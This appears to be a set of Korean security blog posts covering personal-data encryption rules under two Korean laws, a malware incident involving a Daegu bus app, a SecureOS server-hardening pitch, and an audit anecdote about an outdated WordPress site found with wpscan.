그리고 고유식별정보의 경우에도 시기적으로 유예를 하고 있는 듯 보입니다. 자세한 내용은 개인정보보호법 시행령(2017.10.19)에서는 다음과 같이 암호화 의무 대상과 기한을 명시하고 있습니다.

제21조의2(주민등록번호 암호화 적용 대상 등) ① 법 제24조의2제2항에 따라 암호화 조치를 하여야 하는 암호화 적용 대상은 주민등록번호를 전자적인 방법으로 보관하는 개인정보처리자로 한다.

② 제1항의 개인정보처리자에 대한 암호화 적용 시기는 다음 각 호와 같다.

1. 100만명 미만의 정보주체에 관한 주민등록번호를 보관하는 개인정보처리자: 2017년 1월 1일

2. 100만명 이상의 정보주체에 관한 주민등록번호를 보관하는 개인정보처리자: 2018년 1월 1일

③ 행정안전부장관은 기술적· 경제적 타당성 등을 고려하여 제1항에 따른 암호화 조치의 세부적인 사항을 정하여 고시할 수 있다.  <개정 2017.7.26.>

[본조신설 2015.12.30.]

즉 2018년 1월 1일까지는 모든 개인정보처리자는 모두 주민등록번호를 암호화 해야 하는 것 같습니다. 그렇다면 예외는 없을까요?  ③ 에 명시한 행정안전부 장관의 고시 「개인정보의 안전성 확보조치 기준(2017.7.26)」에 암호화에 대한 세부 사항이 나와 있는 것 같습니다.  관련 내용은 제4조(내부 관리계획의 수립.시행)에 나와 있습니다.

제4조(내부 관리계획의 수립·시행) ① 개인정보처리자는 개인정보의 분실·도난·유출·위조·변조 또는 훼손되지 아니하도록 내부 의사결정 절차를 통하여 다음 각 호의 사항을 포함하는 내부 관리계획을 수립·시행하여야 한다.

1. 개인정보 보호책임자의 지정에 관한 사항

2. 개인정보 보호책임자 및 개인정보취급자의 역할 및 책임에 관한 사항

3. 개인정보취급자에 대한 교육에 관한 사항

4. 접근 권한의 관리에 관한 사항

5. 접근 통제에 관한 사항

6. 개인정보의 암호화 조치에 관한 사항

7. 접속기록 보관 및 점검에 관한 사항

8. 악성프로그램 등 방지에 관한 사항

9. 물리적 안전조치에 관한 사항

10. 개인정보 보호조직에 관한 구성 및 운영에 관한 사항

11.개인정보 유출사고 대응 계획 수립·시행에 관한 사항

12. 위험도 분석 및 대응방안 마련에 관한 사항

13. 재해 및 재난 대비 개인정보처리시스템의 물리적 안전조치에 관한 사항

14. 개인정보 처리업무를 위탁하는 경우 수탁자에 대한 관리 및 감독에 관한 사항

15. 그 밖에 개인정보 보호를 위하여 필요한 사항

② [별표]의 유형1에 해당하는 개인정보처리자는 제1항에 따른 내부 관리계획을 수립하지 아니할 수 있고, [별표]의 유형2에 해당하는 개인정보처리자는 제1항제12호부터 제14호까지를 내부 관리계획에 포함하지 아니할 수 있다.

③ 개인정보처리자는 제1항 각 호의 사항에 중요한 변경이 있는 경우에는 이를 즉시 반영하여 내부 관리계획을 수정하여 시행하고, 그 수정 이력을 관리하여야 한다.

④ 개인정보 보호책임자는 연 1회 이상으로 내부 관리계획의 이행 실태를 점검·관리하여야 한다.

고유식별번호인 주민등록번호의 암호화는 6. 개인정보의 암호화 조치에 관한 사항에 해당됩니다. 그런데 ②에 보면 [별표]의 유형1에 해당되는 개인정보처리자는 내부 관리계획을 수립하지 않을 수 있다고 명시되어 있습니다. 계획을 수립하지 않아도 된다는 것은 "하지 않아도 된다"는 의미죠. 그렇다면 [별표]를 봐야 합니다. 보지 않고서 "암호화하지 않아도 된다"고 섣부르게 판단하면 안됩니다.

[별표]는 다음과 같습니다.

[별표]의 유형1은 1만명 이하의 개인정보를 보유하고 있는 개인정보처리자 입니다. 최소 기준이죠. 이 기준의 개인정보처리자의 개인정보보호조치의 최소한의 기준입니다. 최소한 5,6,7조의 일부와 8,.9,10,11조 그리고 13조를 이행해야 합니다.

그 중에서도 개인정보의 암호화는 제7조(개인정보의 암호화)에 있습니다.

 제7조(개인정보의 암호화) ① 개인정보처리자는 고유식별정보, 비밀번호, 바이오정보를 정보통신망을 통하여 송신하거나 보조저장매체 등을 통하여 전달하는 경우에는 이를 암호화하여야 한다.

② 개인정보처리자는 비밀번호 및 바이오정보는 암호화하여 저장하여야 한다. 다만, 비밀번호를 저장하는 경우에는 복호화되지 아니하도록 일방향 암호화하여 저장하여야 한다.

③ 개인정보처리자는 인터넷 구간 및 인터넷 구간과 내부망의 중간 지점(DMZ : Demilitarized Zone)에 고유식별정보를 저장하는 경우에는 이를 암호화하여야 한다.

④ 개인정보처리자가 내부망에 고유식별정보를 저장하는 경우에는 다음 각 호의 기준에 따라 암호화의 적용여부 및 적용범위를 정하여 시행할 수 있다.

1. 법 제33조에 따른 개인정보 영향평가의 대상이 되는 공공기관의 경우에는 해당 개인정보 영향평가의 결과

2. 암호화 미적용시 위험도 분석에 따른 결과

⑤ 개인정보처리자는 제1항, 제2항, 제3항, 또는 제4항에 따라 개인정보를 암호화하는 경우 안전한 암호알고리즘으로 암호화하여 저장하여야 한다.

⑥ 개인정보처리자는 암호화된 개인정보를 안전하게 보관하기 위하여 안전한 암호 키 생성, 이용, 보관, 배포 및 파기 등에 관한 절차를 수립·시행하여야 한다.

⑦ 개인정보처리자는 업무용 컴퓨터 또는 모바일 기기에 고유식별정보를 저장하여 관리하는 경우 상용 암호화 소프트웨어 또는 안전한 암호화 알고리즘을 사용하여 암호화한 후 저장하여야 한다.

⑧ [별표]의 유형1 및 유형2에 해당하는 개인정보처리자는 제6항을 아니할 수 있다.

[별표]에서 유형1의 사업자나 개인이 이행해야하는 조항을 붉은 색으로 표시해봤습니다. 네... 다 해야하네요. ^^ 다만 암호화에 사용되는 암호키관리는 특별히 요구하지 않습니다. 왜냐하면 개인정보를 암호화할 때 암호키관리를 ⑥항의 기준에 맞추어 이행하자면 비용이 많이 들게 될 가능성이 높거든요. 

그리고 내부망에 고유식별정보를 저장하는 경우 마치 암호화 적용 여부를 자체 판단할 수 있는 것 처럼 나와 있지만 인터넷과 완전하게 물리적으로 분리되며 장비에 대한 물리적 접근등이 완벽하게 통제되지 않는 이상 암호화를 해야 합니다. 때문에 고유식별정보는 무조건 암호화한다고 생각하는 것이 마음 편합니다.

하지만 정보통신망법을 적용받는 사업자는 다릅니다. 정보통신망법 제15조(개인정보의 보호조치)를 보면 다음과 같습니다.

제15조(개인정보의 보호조치) ① 법 제28조제1항제1호에 따라 정보통신서비스 제공자등은 개인정보의 안전한 처리를 위하여 다음 각 호의 내용을 포함하는 내부관리계획을 수립·시행하여야 한다.  <개정 2016.9.22.>

1. 개인정보 보호책임자의 지정 등 개인정보보호 조직의 구성·운영에 관한 사항

(중략~)

④ 법 제28조제1항제4호에 따라 정보통신서비스 제공자등은 개인정보가 안전하게 저장·전송될 수 있도록 다음 각 호의 보안조치를 하여야 한다.  <개정 2014.11.28., 2017.3.22.>

1. 비밀번호의 일방향 암호화 저장

2. 주민등록번호, 계좌정보 및 바이오정보 등 방송통신위원회가 정하여 고시하는 정보의 암호화 저장

3. 정보통신망을 통하여 이용자의 개인정보 및 인증정보를 송신·수신하는 경우 보안서버 구축 등의 조치

4. 그 밖에 암호화 기술을 이용한 보안조치

⑤ 법 제28조제1항제5호에 따라 정보통신서비스 제공자등은 개인정보처리시스템 및 개인정보취급자가 개인정보 처리에 이용하는 정보기기에 컴퓨터바이러스, 스파이웨어 등 악성프로그램의 침투 여부를 항시 점검·치료할 수 있도록 백신소프트웨어를 설치하여야 하며, 이를 주기적으로 갱신·점검하여야 한다.

⑥ 방송통신위원회는 제1항부터 제5항까지의 규정에 따른 사항과 법 제28조제1항제6호에 따른 그 밖에 개인정보의 안전성 확보를 위하여 필요한 보호조치의 구체적인 기준을 정하여 고시하여야 한다.

[전문개정 2009.1.28.]

또 고시를 보라네요. 이번에는 방송통신위원회의 「개인정보의 기술적·관리적 보호조치 기준 고시」 입니다. 

제6조(개인정보의 암호화) ① 정보통신서비스 제공자등은 비밀번호는 복호화 되지 아니하도록 일방향 암호화하여 저장한다.

② 정보통신서비스 제공자등은 다음 각 호의 정보에 대해서는 안전한 암호알고리듬으로 암호화하여 저장한다.

1. 주민등록번호

2. 여권번호

3. 운전면허번호

4. 외국인등록번호

5. 신용카드번호

6. 계좌번호

7. 바이오정보

③ 정보통신서비스 제공자등은 정보통신망을 통해 이용자의 개인정보 및 인증정보를 송·수신할 때에는 안전한 보안서버 구축 등의 조치를 통해 이를 암호화해야 한다. 보안서버는 다음 각 호 중 하나의 기능을 갖추어야 한다.

1. 웹서버에 SSL(Secure Socket Layer) 인증서를 설치하여 전송하는 정보를 암호화하여 송·수신하는 기능

2. 웹서버에 암호화 응용프로그램을 설치하여 전송하는 정보를 암호화하여 송·수신하는 기능

④ 정보통신서비스 제공자등은 이용자의 개인정보를 컴퓨터, 모바일 기기 및 보조저장매체 등에 저장할 때에는 이를 암호화해야 한다.

네... 그냥 주민등록번호부터 바이오정보까지 묻지도 따지지도 않고 암호화하라 합니다. 즉 정보통신망법 대상 사업자는 위에서 언급된 개인정보를 무조건 암호화해야 합니다.

그 외에도 영상정보처리기기(CCTV)와 관련된 규정은 정보통신망법에서는 찾아볼 수 없지만 개인정보보호법에서는 구체적으로 규정하고 있는 등 꽤 많은 차이점이 존재합니다.

이렇듯 두 법은 유사한 점도 있고 다른 점도 있습니다. 따라서 자신이 속한 사업장이 어떤 법을 적용받는지 적절하게 판단해야 합니다. 그리고 그 판단의 결과에 따라 해당 법령을 세밀하게 해석하고 정리해야 합니다. 자칫 엉뚱한 법에서 요구하는 내용을 정책과 지침에 반영하거나 자신의 사업장에 적용되어야 하는 법령을 누락시키면 큰 문제가 발생할 수도 있습니다.


-- 2019.03.02. (추가) 개인정보처리 업무 위탁 동의 필요 여부에 대한 두 법령의 차이점 포스트 (보러가기)




예전에는..아니 지금도 마찬가지지만 주요 악성코드 전파를 위해 해커들이 주로 이용하는 매체는 홈페이지와 이메일이다. 하지만 이제 악성코드 유포지로 새롭게 등장한 매체가 있으니 바로 셀 수 없이 많이 사용되는 스마트폰의 앱(Application)이다.

스마트폰에 설치되는 앱은 주로 구글 안드로이드의 앱마켓인 플레이스토어와 애플 아이폰의 앱스토어다. 이 두 앱마켓에는 앱을 개발해 올리는 수 많은 개발자들이 상주한다. 개발자들은 기업에 소속되어 기업의 앱을 개발해 플레이스토어와 앱스토어에 업로드하기도 하지만 더 많은 개발자들은 집과 같은 개인이 관리하는 개발환경에서 앱을 개발해 플레이스토어에 업로드 한다.

기업에 소속되어 기업에서 제공하는 개발환경을 이용하든 개인적으로 구축한 개발환경에서 개발하든 중요한 것은 소스코드의 보호와 개발 및 컴파일 그리고 마켓에 업로드하는 용도의 PC에 대한 보호다. 소스코드가 유출되거나 개발환경 및 업로드 환경의 PC가 해킹되면 그 피해는 고스란히 앱을 다운로드하는 이용자에게 전가된다.

그 중에서도 가장 중요한 것은 누구나 알고 있듯 ID와 비밀번호 관리다.

최근 대구지역을 떠들썩하게 만들고 있는 대구지역 버스 정보 앱의 악성코드 감염도 따지고 보면 개발자가 구글 플레이스토어의 접속계정 (즉 구글계정) 비밀번호를 탈취당해 발생한 사건이다. 

이 사건은 맥아피(McAfee)에서 해당 앱을 사용하는 이용자의 스마트폰에서 최초 발견하여 분석 후 공개한 것으로서 현재는 구글과 개발자에게 전파되어 악성코드가 감염된 앱은 더 이상 다운로드 되지 않도록 조치가 되어 있다. 

(원문 출처 : https://securingtomorrow.mcafee.com )

구글 플레이스토어의 앱 소개구글 플레이스토어의 앱 소개

해커는 어떤 방법인지는 알 수 없지만 해커에게 구글 계정을 탈취 당했고 해커는 탈취한 구글계정으로 개발되어 플레이스토어에 업로드 되어 있는 대구버스라는 앱을 발견했다. 

해커는 구글계정을 이용해 개발자가 소스코드를 저장하고 관리하던 "비트버킷"이라는 Git 서버에도 접속할 수 있음을 알아 낸 듯 하다.

소스코드와 플레이스토어 접속이 가능하면.... 게임은 끝난 것이다.

해커는 앱에 악성코드가 포함된 플러그인을 다운로드 받도록 최소한의 수정만을 가해 플레이스토어에 새버전의 앱을 업로드 했다. 앱에 직접적으로 악성코드를 심은 것이 아니기 때문에 구글의 보안검사도 아무일 없이 통과할 수 있던 것으로 보여진다.

일단 업로드 된 버스앱을 새로 다운로드(업데이트) 한 이용자의 스마트폰은 해커가 만들어 둔 여러 악성코드 배포서버에 접속해 악성코드를 다운로드 받고 해당 악성코드를 실행한다. 

감염경로는 다음과 같다.

앱의 악성코드 감염 및 전파경로앱의 악성코드 감염 및 전파경로

특이점은 다운로드 된 악성코드 플러그인 중에는 네이티브 코드가 담긴 .so (shared object) 파일이 있다는 점이다. 안드로이드의 앱은 일반적으로 java로 개발되어 배포되는데 이 악성코드는 C로 작성된 .so 파일도 포함하고 있다는 점이다.

안드로이드는 오픈소스 운영체제 리눅스계열의 운영체제다. (그냥 리눅스라해도 무방하다) 그리고 리눅스 위에 달빅(Dalvik)이나 ART와 같은 Java 가상머신이 설치되고 이 가상머신 위에서 플레이스토어에서 다운로드 받은 앱(Java 기반의 안드로이드 API로 작성되고 컴파일됨)들이 실행되는 구조다. 때문에 아래 그림처럼 배포되는 apk 파일내에 네이티브(native) 코드로 작성된 .so 파일이 설치되는 것은 일반적인 상황은 아니다. 간혹 빠른 그래픽 성능이 요구되는 게임이나 동영상플레이어 혹은 특정 하드웨어와 직접 인터페이스하지 않으면 안되는 상황에서만 C언어로 작성된 코드를 컴파일해서 함께 배포하게 된다. (.o 파일 혹은 .so 파일)

그런데 일반적인 안드로이드 API로 작성해도 충분한 버스정보앱이 .so 파일을 배포한다????? 이 사실 자체만으로도 의심스러운 상황이라 할 수 있다.

구글플레이스토어의 앱 검증프로세스가 허술함을 드러내는 대목이라 하지 않을 수 없다.

일단 악성코드에 감염된 스마트폰은 C&C서버(C2서버)로 접속을 시도하고 지령을 받는다. 폰을 파괴할 수도 있고 다른 공격대상을 스캔할 수도 있으며 폰에 저장된 주소록, 이미지, 파일 등을 검색해 중요 정보를 해커들에게 전송할 수도 있다.

McAfee에서는 이 악성코드를 분석하던 중 다음과 같은 특이한 단어들이 포함된 파일을 찾아 해커들에게 전송하는 현상을 발견했다고 한다. 이 검색어는 한글로 되어 있었고 아래 표에는 영어로 번역을 해 놓은 듯 하다.

만약 국방부, 외교부, 청와대 등 주요 행정기관 및 군인들이 이 악성코드에 감염됐다면 아마도 중요한 국가 기밀이 해커들의 손에 넘어갔을 수도 있다고 여겨진다. 

다시 한번 부각된 ID / Password 관리의 중요성

이번 해킹사고의 시작도 역시 ID와 비밀번호 관리의 부실이었다. 

어떻게 개발자의 구글계정 비밀번호를 해커가 탈취했는지는 알 수 없다. 가정이긴 하지만 만약 개발자가 구글계정의 비밀번호와 소스가 저장되어 있던 비트버킷(Git)의 접속 비밀번호를 다르게 사용했더라면 해커가 소스를 수정해 플레이스토어에 악성코드를 다운로드 받는 앱을 업로드하지 못했을 수도 있다.

ID까지 사이트마다 다르게 관리하는 것은 매우 어렵다. 하지만 비밀번호 만큼은 충분한 복잡도와 길이로 사이트마다 다르게 사용할 것을 권한다.

직전에 재직했던 SGA솔루션즈에서 서버보안SW에 2차인증을 구현하게 해주는 AuthCastle 이라는 제품의 주요 기능 기획과 구현에 참여했던 적이 있었다. 그 당시 2차 인증, 2채널 인증 등에 대한 개념을 공부할 수 있었고 실제 고객사에 적용도 수 차례 해볼 수 있었다.   (관련 포스트 : https://blogger.pe.kr/487

만약 구글을 사용한다면 반드시 2차 인증을 사용하길 권장한다. 구글 계정이 해커에게 노출된다면 구글의 클라우드, 포토, 지메일은 물론 스마트폰까지도 연속적으로 해킹될 수 있기 때문이다.

비밀번호 관리의 중요성은 아무리 강조해도 부족하다.



  • 베짱이 2019.02.19 04:03 신고

    보안이 참 중요함을 새삼 느끼게 해주네요.

    • taeho Tae-Ho 2019.02.21 07:52 신고

      특히나 아이디,비밀번호의 관리는 더더욱 중요합니다.



ISMS나 ISO27001 심사와 관련된 업무를 수행하다 보면 서버를 들여다 봐야 하는 일이 종종 발생한다. 솔직히 서버를 들여다 보는 일은 개인적으로 즐겁기도 하지만 안타까움을 느끼게 될 때가 더 많다. 왜냐하면 서버 내의 보안 수준이 생각보다 높지 않기 때문이다. 

이는 서버를 운영하는 운영자 혹은 관리자들이 서버 운영체제와 서버에서 구동되는 DBMS나 WAS 등 SW의 관계, 권한 설정등에 대한 이해수준이 높지 않기 때문이거나 이해수준은 높더라도 보안과 연관지어 어떤 위협이 존재하는지 알지 못하는 경우가 많기 때문이다.

그렇다보니 서버 운영체제에 대한 취약점 점검이 단순한 체크리스트(그마저도 제대로 적용하지 못한다) 방식으로 진행되고 ISO나 ISMS 인증심사 때도 그 체크리스트 중에서 몇개를 샘플로 선정해 점검하는 수준을 벗어나지 못하는 경우가 많다.

예를 들어.... 

"공개서버인 웹서버에서 Zeroday 취약점이 발견되어 해커가 이를 악용하였고 결국 웹서버가 실행중인 계정의 권한이 탈취되었을 경우 어떤 위협이 발생할 수 있으며 이에 대비하여 어떤 보호대책을 적용해야 하는가?"

라는 질문을 던졌을 때 ... 제대로 답변할 수 있는 보안담당자나 컨설턴트가 몇이나 되겠는가?

솔직하게 이야기해서 서버보안시스템 구축과 정책수립 등의 업무를 오랫동한 했기에 이에 대해 답변할 수 있지 그렇지 않았다면 아마도 나 또한 제대로 답변할 수 없을 것이다.

Secure OS(RedCastle)를 이용한 공개 서버 보안 강화

많은 기업들은 공개서버의 앞에 방화벽이나 IPS, 웹방화벽과 같은 네트워크 기반의 보안 솔루션을 도입하여 인터넷을 통해 시도되는 공격으로부터 공개서버들을 보호하고 있다. 

바로 홈페이지가 구동중인 웹 서버와 메일서버 등이 대표적이다. 그리고 웹서버나 메일서버는 아니지만 기업들 B2B 구간에도 인터넷에 공개할 수 밖에 없는 서버가 존재한다. 그리고 이렇게 인터넷에 공개되는 서비스들은 대부분 HTTP 혹은 FTP 등을 통해 연결되는 경우가 많다. 다른 서비스는 모두 차단되어 있지만 웹서비스를 수행하는 TCP/80과 TCP/21 등은 기업으로서도 어쩔 수 없는 아킬레스건과 같은 존재다.

해커들은 이렇게 인터넷에 열려 있는 웹서버, FTP서버 등을 그대로 내버려두지 않으며 인터넷을 통해 서버로 침투하는 경로로 이용된다.

이런 웹서버, 메일서버, FTP서버 등의 공개서버에서는 Apache, Tomcat, Weblogic, Webtob, Jeus 등 수많은 웹/FTP 서비스 관련 응용프로그램들이 설치되고 실행된다. 이러한 응용프로그램들은 인터넷을 통해 수많은 사용자의 PC와 통신을 하고 있고 인터넷 어디서든 개방되어 있는 서비스 포트를 통해 서버와 연결할 수 있기 때문에 해커들은 이런 서비스 대몬의 취약점 혹은 웹 서버에서 실행되는 PHP, JSP, Servlet 등의 취약점을 찾기 위해 혈안이 되어 있다. 

해커들이 웹서버를 공격하기 위해 사용하는 대표적인 취약성으로 OWASP 10대 취약점을 이야기하곤 한다. OWASP는 Open Web Application Security Project의 약자로서 이 프로젝트에서는 매년 10대 웹 취약점을 발표하고 있다. 여기에서 발표된 대부분의 취약점은 웹 응용프로그램 즉 PHP, JSP, ASP, Servlet 등을 개발할 때 프로그램 소스 수준에서 발생할 수 있는 취약점들을 담고 있으며 취약점이 포함된 웹 응용프로그램을 구동할 경우 홈페이지 위/변조 및 악성코드 삽입 더 나아가 웹 응용프로그램의 관리자 권한 및 운영체제의 계정 탈취 혹은 운영체제의 관리자 권한 탈취까지도 이루어질 수 있게 된다. 게다가 서버SW가 자체적으로 갖고 있는 취약점도 종종 발견되곤 한다.

여기서 중요한 것은 외부에 서비스를 제공하는 웹서버와 같은 어플리케이션SW와 운영체제의 격리다. 최근 어플리케이션의 관리를 편하게 하고 개발과 유지보수 관리의 부담을 줄이기 위해 어플리케이션 가상화인 도커(Docker)가 인기를 끌고 있다. 도커 또한 운영체제와 어플리케이션을 격리하는 솔루션의 한 종류이기 때문에 보안관점에서 효과를 볼 수도 있지만 근본적인 해결책은 될 수 없다. 

그렇다면 서버 운영체제와 서버에서 실행되는 어플리케이션의 격리를 위해 적용할 수 있는 보안솔루션은 무엇이 있을까?

이런 보안솔루션에 가장 근접하고 있는 보안솔루션이 바로 SecureOS다.

웹서버(IIS) 소스파일 변조 공격 방어 사례웹서버(IIS) 소스파일 변조 공격 방어 사례


특히 다음과 같은 부분에서는 다른 어떤 보안 솔루션도 따라오지 못할 만큼의 강력한 보안기능을 제공할 수 있다. 

1. PHP, JSP, JS, ASP, HTML, Servlet 등 웹 응용프로그램의 위/변조 혹은 공격을 위한 소스 및 파일 업로드 차단

2. 웹 기반 어플리케이션 대몬 (httpd, java 등)의 취약성을 이용한 운영체제의 명령어 실행 차단 및 중요 파일에 대한 접근 차단

3. 기타 어플리케이션의 취약점을 이용한 운영체제의 명령어 실행 및 파일 접근 차단

4. 업로드 취약성을 이용해 공격도구를 업로드 하고 실행시키는 공격의 차단.

5. 임시 디렉토리의 접근 권한이 있음을 이용해 공격 경유지로 이용하는 행위의 차단.

6. 서버의 일반 계정 권한을 탈취하여 수퍼유저 권한을 탈취하려는 시도의 차단.

7. 서버의 계정 권한을 탈취하여 인접한 타 서버로의 접근을 시도하는 행위의 차단. 

이러한 보안 기능을 제공할 수 있는 이유는 Secure OS가 커널수준에서 다음의 기능을 수행할 수 있기 때문이다. 

1. 웹 서버 대몬 혹은 어플리케이션 서버가 구동중인 계정에서 소스파일 혹은 설정파일에 대해 특정 프로그램 이외에는 쓰기(Write, Create, Delete, Modify)를 하지 못하도록 할 수 있다.

2. 웹 서버 대몬(httpd, java 등)이 운영체제의 주요 명령어를 실행(Excute System Call)하지 못하도록 할 수 있다.

3. root 계정에서 웹 소스파일에 접근하지 못하도록 할 수 있다.

4. 업로드 경로 및 웹 소스의 경로에서 파일의 실행을 차단할 수 있다.

5. 웹 서버 대몬 혹은 웹 서버가 구동중인 계정에서 운영체제의 임시디렉토리에 접근하는 것을 차단할 수 있다.

6. 일반계정에서 root 계정으로의 이동을 원천적으로 차단할 수 있으며 백도어의 실행도 원천적으로 차단할 수 있다.

7. SETUID/SETGID가 설정된 파일의 변조를 실시간으로 탐지하여 실행을 차단하며 새로운 파일이 생성될 경우 또한 실행을 차단할 수 있다.

Secure OS는 MAC(강제적 접근제어)와 DAC(임의적 접근제어) 보안 모델을 적절하게 적용함으로서 위의 기능들을 제공한다.  또한 웹 서버 뿐만 아니라 모든 서버의 내부에서 일어나는 행위에 대한 통제를 적절하게 수행할 수 있다. 

SecureOS는 서버를 보호하기 위한 보안의 최종 수비수다.



  • 2019.08.27 09:57

    비밀댓글입니다



정보보안 관련 인증심사를 진행할 때 가장 어려운 점은 바로 심사 대상 기관의 정보자산에 대한 정보의 부족이다.  내가 참여한 인증심사는 평균적으로 4일에서 5일간 진행되는데 관리적 보안 측면 뿐만 아니라 기술적 보안 측면에 큰 비중을 두고 진행된다. 이는 우리나라의 특이한 문화...즉 서류에 대한 불신에 기인한다고 생각된다. 하다못해 입사서류에 첨부되는 이력서와 자기소개서 마저도 허풍과 과장이 난무하여 진실과는 거리가 먼 경우가 태반일 정도로 거짓이 난무하는 나라가 바로 우리나라 아닌가...


개인적인 것을 떠나 공적인 측면에서는 더욱 심한 거짓이 난무한다. 정보보호관리체계의 경우 정책과 지침을 얼마나 잘 이행하고 있는지를 "증적"이라 부르는 이행 문서로 점검한다. 그리고 이 이행증적은 신뢰가 생명이다. 하지만 이 이행증적이 갖추어져 있다고 실제로 정확하게 이행하고 있다고 신뢰하는 것은 적어도 대한민국에서 아직은 어불성설이다.

 

대부분의 심사 대상기관은 위험관리지침 등에 따라 실제로 매년 최소 1회 이상 취약점 점검을 이행하고 있고 발견된 취약점은 단기, 중기, 장기로 분류하여 조치하고 있다고 취약점 조치 결과 보고서를 작성하여 CISO의 승인을 받고 있다. 하지만 심사 시 샘플링을 통해 서버를 점검해 보면 매우 기본적인 사항 조차 제대로 지켜지지 않고 있는 경우를 종종 보게 된다. 예를 들면 중요 관리자 계정의 비밀번호를 변경하지 않는다. 심지어 4~5년 전 도입된 서버인데 root 계정이나 Administrator 계정, 심지어 Oracle DBMS의 관리자 계정 비밀번호를 한번도 변경하지 않은 것이 발견되기도 한다. 게다가 비밀번호의 일방향 암호알고리즘을 Unix의 Default 즉 Crypt() 함수를 사용하는 심하게~취약한 알고리즘 그대로 두고 있는 경우도 태반이다. 1년 전 본격적으로 관련 심사에 참여하기 시작하면서 깜짝 놀랐던 것 중 하나였다. 즉 이행증적을 절대 신뢰해서는 안된다는...슬픈 현실을 접한 것이다.


그리고 오늘의 주제인 공개서버에 대한 취약점 점검도, 하고는 있으나 너무 형식적인 경우가 많다.


얼마 전 모 대기업...그것도 IT 사업을 수행하는 기업의 심사에 참여할 기회가 있었다. 전년도 심사 때 해당 기업의 대표 홈페이지가 인증범위에 빠져있었고 올해 처음 인증범위에 포함되었다. 단순 홍보용 홈페이지 였지만 점검 과정에서 이용자들이 상시 채용으로 인지할 수 있는 개인정보 수집과 첨부파일을 수집하는 페이지가 발견 되었다. 하지만 홈페이지에 전송구간 암호화(SSL 등)가 적용되지 않은 듯 보였고 담당자의 확인 결과 암호화를 하고 있다는 답변을 들었다. 하지만 이용자 측면에서 볼 수 있는 웹페이지와 소스상에는 암호화 관련 부분이라 보이는 코드가 없었다.


그래서 와이어샤크와 같은 패킷캡처 도구를 이용해 개인정보를 전송하는 시점의 패킷을 캡쳐하여 확인할 수 밖에 없었고 확인 결과 웹서버에 직접 SSL인증서를 적용하지는 않았지만 다른 방법을 통해 개인정보를 전송하는 시점에 TLS1.2를 이용해 암호화여 전송하고 있음을 확인할 수 있었다. 그런데 그 과정에서 뜻밖의 사실을 알게 되었다. 바로 공개용 홈페이지, 그것도 상시채용을 위한 개인정보 수집페이지에 워드프레스(WordPress)를 사용한다는 것이다.



패킷 암호화를 확인하는 중 위 화면과 같이 URL이 보이는 HTTP헤더부분에서 wp-content 라는 경로 문자열을 보고 워드프레스를 사용하고 있다는 사실을 알게 되었다. 아마도 이 웹사이트를 공격하기로 작정한 해커가 등장한다면 비와 비슷한 방법으로 워드프레스를 사용하고 있다는 사실을 확인할 것이다.


워드프레스는 세계적으로 많이 사용되는 공개용 블로그 저작 도구다. 워드프레스는 유현한 구조와 다양한 플러그인들이 개발되어있어 기업용 홈페이지 제작에도 종종 사용되기도 한다. 하지만 그만큼 취약점이 많아 수시로 릴리즈 되는 취약점 패치를 신속하게 해주지 않으면 해커들의 밥~이 되기 쉬운 공개소프트웨어다. 해당 기업은 대기업의 IT계열사 임에도 워드프레스를 대표홈페이지에 사용하고 있었고 홈페이지의 개발과 관리를 IT조직이 아닌 정보보안팀과의 접점이 별로 없는 별도의 조직(예를 들면 마케팅부문)에서 수행하고 있어 정보보안팀에서는 이러한 상황을 제대로 인지하지 못하고 있었다. 따라서 워드프레스에 대한 별도의 취약점 점검이 실시되지 않고 있었다.


그래서 칼리리눅스를 이용해 외부에서 간단하게 취약점을 찾아보기로 했다. 


칼리리눅스에는 wpscan 이라는 워드프레스 취약점 점검도구를 제공한다. 칼리리눅스를 실행하고 로그인 한 뒤 다음과 같은 메뉴에서 찾아볼 수 있다.



웹애플리케이션분석 그룹에 wpscan 이라는 프로그램이 보인다. 하지만 GUI 기반의 도구는 아니다. wpscan을 실행해보면 다음과 같이 주루룩~~help 가 출력된다. 칼리리눅스의 대부분의 도구를 실행하면 비슷하다.



wpscan이 어떤 도구인지 보여주고.... 옵션들에 대한 설명이 두세페이지 더 출력된다. 그리고 마지막에는 사용예제 명령어라인도 보여준다. 사용법이 크게 어렵거나 하지는 않다.



wpscan을 통해 해당 웹서버를 스캔한 결과 많은 취약점이 존재하는 버전의 워드프레스를 사용하고 있는 것으로 의심되었다. 확인된 버전은 4.5.3으로서 2016년 6월 버전이다.



버전도 문제지만 워드프레스를 설치할 때 생성되는 readme.html  파일이 삭제되지 않고 있는 것이 큰 문제다. 그리고  readme.html에 표시된 버전은 설치 당시의 버전일 가능성이 높으며 담당자가 수시로 워드프레스를 업데이트하고 있다면 실제로는 업데이트 되어 있을 수도 있다.  하지만 readme.html 파일을 삭제하지 않는 것은 또 다른 문제를 야기할 수 있다. 이 URL에 접속해 보면 그 이유를 알 수 있다.



이 readme.html 파일에는 초기 워드프레스를 설치할 수 있는 install 페이지 링크를 제공한다. 그리고 이미 설치가 완료된 이후에는 설치 및 업데이트 링크를 클릭할 경우 다음과 같은 메시지를 보여주면서 워드프레스 관리자 페이지로 접속할 수 있는 링크를 제공한다.



때문에 워드프레스 설치 후 readme.html페이지는 삭제하는 것이 가장 좋고 남겨두고자 한다면 관련 URL 링크를 변경해주는 것이 좋다. 이 곳의 경우 위 화면의 로그인 버튼을 클릭하면 실제 관리자 페이지 로그인 창으로 연결되어 인터넷을 통해 관리자 페이지에 접속이 가능한 상태였다. 


이 홈페이지는 상시채용 관련 개인정보를 수집하므로 개인정보처리시스템에 해당되고 개인정보취급자가 개인정보처리시스템에 인터넷을 통해 접속할 경우 VPN 등 안전한 접속 수단 또는 안전한 인증을 의무적으로 해야 한다. (여기서 안전한 인증이라 함은 ID/PWD 인증 후 추가적인 인증(OTP, 인증서 등)을 의미한다.)


하지만 이 포스트를 작성하는 시점에서는 관리자 페이지 URL을 변경 조치하여 외부에 노출이 되지 않도록 하였고 관련 URL 링크를 클릭할 경우 에러페이지로 연결되도록 수정한 것으로 확인 되었다.


이런 상황을 볼 때 정보보안팀은 조직내의 자산을 식별할 때 공개소프트웨어를 사용하는지 여부와 사용 현황에 대해 별도로 관리하고 취약점점검을 수행하는 것이 바람직하다고 하겠다.


이 심사의 경우 어쩌다 보니...취약점을 찾아주는 역할도 하게 되었다.



  • 에스델 ♥ 2018.11.06 10:00 신고

    실제 심사시 기본적인 사항조차도
    제대로 지키지 않는 경우를 보게 된다니
    정말 안타깝습니다.



